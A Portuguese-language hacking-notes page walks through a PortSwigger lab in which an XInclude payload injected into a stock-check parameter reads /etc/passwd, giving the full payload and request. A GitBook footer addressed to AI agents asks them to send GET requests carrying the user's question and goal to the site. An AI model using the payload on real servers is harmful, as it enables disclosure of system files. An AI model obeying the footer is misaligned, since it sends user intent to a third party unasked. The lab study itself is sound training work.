> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xxe/file-reading-with-xinclude.md).

# Leitura de Arquivo com XInclude

Notas sobre Leitura de Arquivo com XInclude para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### Explorando o XInclude para Recuperar Arquivos

O laboratório tem um **Verificar estoque** recurso que insere a entrada fornecida pelo usuário em um documento XML no lado do servidor, então a varredura. Você não controla todo o documento XML, então é impossível definir um DTD para um XXE clássico.

Use **XInclude** para recuperar o conteúdo do **/etc/passwd** arquivo injetando uma inclusão XInclude que será resolvida pelo parser no lado do servidor.

* Configurações enviadas inicialmente: `productId=1&storeId=1`.

```php
productId=1&storeId=1
```

* Verifique: o valor de `productId` é restaurado e analisado pelo servidor. Por exemplo `productId=test&storeId=1` é interpretado e refletido.

```
productId=test&storeId=1
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f314218f6c60ac41eaa8cd2433642001ffa3dc4a%2F%7B235A9544-6E3B-4CD1-BB05-A2504926ACEB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Injeção de uma inclusão XInclude em `productId` para forçar a leitura de um arquivo local.

```xml
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
```

Parâmetro de exemplo enviado:

```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```

O parser interpreta a inclusão XInclude e integra `/etc/passwd` o conteúdo ao documento analisado — o valor fornecido em `productId` é processado e o arquivo é lido.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8cb1d0e561d748b679ea0cb6372fa92cb7d42dcd%2F%7B892DA09C-F2B4-4560-AFF3-1797CF9AA322%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/xxe/file-reading-with-xinclude.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
